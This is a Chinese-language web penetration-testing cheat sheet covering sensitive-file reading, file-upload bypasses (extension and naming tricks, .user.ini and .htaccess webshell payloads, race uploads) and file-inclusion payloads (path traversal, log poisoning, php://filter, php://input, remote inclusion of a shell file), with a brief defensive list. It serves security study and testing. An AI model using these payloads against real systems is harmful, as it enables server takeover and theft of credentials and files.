-
一、文件读取
- 考虑读取可能有敏感信息的文件
-
用户目录下的敏感文件
- .bash_history
- .zsh_history
- .profile
- .bashrc
- .gitconfig
- .viminfo
- passwd
-
应用的配置文件
- /etc/apache2/apache2.conf
- /etc/nginx/nginx.conf
-
应用的日志文件
- /var/log/apache2/access.log
- /var/log/nginx/access.log
-
站点目录下的敏感文件
- .svn/entries
- .git/HEAD
- WEB-INF/web.xml
- .htaccess
-
特殊的备份文件
- .swp
- .swo
- .bak
- index.php~
- …
-
Python的Cache
- pycache_init_.cpython-35.pyc
-
- =================================================================
-
二、文件上传
-
1、文件类型检测绕过
-
1.1、更改请求绕过
- 有的站点仅仅在前端检测了文件类型,这种类型的检测可以直接修改网络请求绕过。
- 同样的,有的站点在后端仅检查了HTTP Header中的信息,比如 Content-Type 等,这种检查同样可以通过修改网络请求绕过。
-
1.2、Magic检测绕过
- 有的站点使用文件头来检测文件类型,这种检查可以在Shell前加入对应的字节以绕过检查。
- 常见的文件类型的头字节如下表所示
-
1.3、后缀绕过
- 部分服务仅根据后缀、上传时的信息或Magic Header来判断文件类型,此时可以绕过。
- php由于历史原因,部分解释器可能支持符合正则 /ph(p[2-7]?|t(ml)?)/ 的后缀,如 php / php5 / pht / phtml / shtml / pwml / phtm 等 可在禁止上传php文件时测试该类型。
- jsp引擎则可能会解析 jspx / jspf / jspa / jsw / jsv / jtml 等后缀,asp支持 asa/ asax / cer / cdx / aspx / ascx / ashx / asmx / asp{80-90} 等后缀。
- 除了这些绕过,其他的后缀同样可能带来问题,如 vbs / asis / sh / reg / cgi / exe / dll / com / bat / pl / cfc / cfm / ini 等
-
1.4、系统命名绕过
- 在Windows系统中,上传 index.php. 会重命名为 . ,可以绕过后缀检查。也可尝试 index.php%20 , index.php:1.jpg index.php::$DATA 等。
- 在Linux系统中,可以尝试上传名为 index.php/. 或 ./aa/../index.php/. 的文件。
-
1.5、 .user.ini
- 在php执行的过程中,除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在web 根目录之外,则只扫描该目录。
- .user.ini 中可以定义除了PHP_INI_SYSTEM以外的模式的选项,故可以使用 .user.ini 加上非php后缀的文件构造一个shell,比如 auto_prepend_file=01.gif 。
-
1.6、 WAF绕过
- 有的waf在编写过程中考虑到性能原因,只处理一部分数据,这时可以通过加入大量垃圾数据来绕过其处理函数。另外,Waf和Web系统对 boundary 的处理不一致,可以使用错误的 boundary 来完成绕过。(在HTTP协议中,Boundary是一种用于分隔多个实体(如文件、表单字段等)的标识符。它通常用于 multipart/form-data 类型的请求中,用于将多个部分组合在一起,并指示它们的边界。)
-
1.7、 竞争上传绕过
- 有的服务器采用了先保存,再删除不合法文件的方式,在这种服务器中,可以反复上传一个会生成Web Shell的文件并尝试访问,多次之后即可获得Shell。
-
-
2、攻击技巧
-
2.1、Apache重写GetShell
- Apache可根据是否允许重定向考虑上传.htaccess
- 内容为
-
- AddType application/x-httpd-php .png
- php_flag engine 1
- 就可以用png或者其他后缀的文件做php脚本了
-
2.2、软链接任意读文件
- 上传的压缩包文件会被解压的文件时,可以考虑上传含符号链接的文件,若服务器没有做好防护,可实现任意文件读取的效果
-
-
3、防护技巧
- 使用白名单限制上传文件的类型
- 使用更严格的文件类型检查方式
- 限制Web Server对上传文件夹的解析
-
- 参考链接
- 构造优质上传漏洞Fuzz字典
- =====================================================================
-
三、文件包含
-
1、基础
- 常见的文件包含漏洞的形式为 <?php include("inc/" . $_GET['file']); ?>
- 考虑常用的几种包含方式为
- 同目录包含 file=.htaccess
- 目录遍历 ?file=../../../../../../../../../var/lib/locate.db
- 日志注入 ?file=../../../../../../../../../var/log/apache/error.log
- 利用 /proc/self/environ
- 其中日志可以使用SSH日志或者Web日志等多种日志来源测试
-
2、绕过技巧
- 常见的应用在文件包含之前,可能会调用函数对其进行判断,一般有如下几种绕过方式
- 2.1、URL编码绕过
- 如果WAF中是字符串匹配,可以使用url多次编码的方式可以绕过
- 2.2、特殊字符绕过
- 某些情况下,读文件支持使用Shell通配符,如 ? * 等
- url中 使用 ? # 可能会影响include包含的结果
- 某些情况下,unicode编码不同但是字形相近的字符有同一个效果
- 2.3、%00阶段
- 几乎是最常用的方法,条件是magic_quotes_gpc打开,而且php版本小于5.3.4。
- 2.4、长度截断
- Windows上的文件名长度和文件路径有关。具体关系为:从根目录计算,文件路径长度最长为259个bytes。
- msdn定义 #define MAX_PATH 260 ,其中第260个字符为字符串结尾的 \0 ,而linux可以用getconf来判断文件名长度限制和文件路径长度限制。
- 获取最长文件路径长度:getconf PATH_MAX /root 得到4096获取最长文件名:getconf NAME_MAX /root得到255
- 那么在长度有限的时候,././././ (n个) 的形式就可以通过这个把路径爆掉
- 在php代码包含中,这种绕过方式要求php版本 < php 5.2.8
- 2.5、伪协议绕过
- 远程包含: 要求 allow_url_fopen=On 且 allow_url_include=On ,
- payload为 ?file=[http|https|ftp]://websec.wordpress.com/shell.txt 的形式
- PHP input: 把payload放在POST参数中作为包含的文件,要求 allow_url_include=On ,
- payload为 ?file=php://input 的形式
- Base64: 使用Base64伪协议读取文件,
- payload为 ?file=php://filter/convert.base64-encode/resource=index.php 的形式
- data: 使用data伪协议读取文件,
- payload为 ?file=data://text/plain;base64,SSBsb3ZlIFBIUAo= 的形式,要求 allow_url_include=On
- 远程包含: 要求 allow_url_fopen=On 且 allow_url_include=On ,
- 参考链接
- Exploit with PHP Protocols
- lfi cheat sheet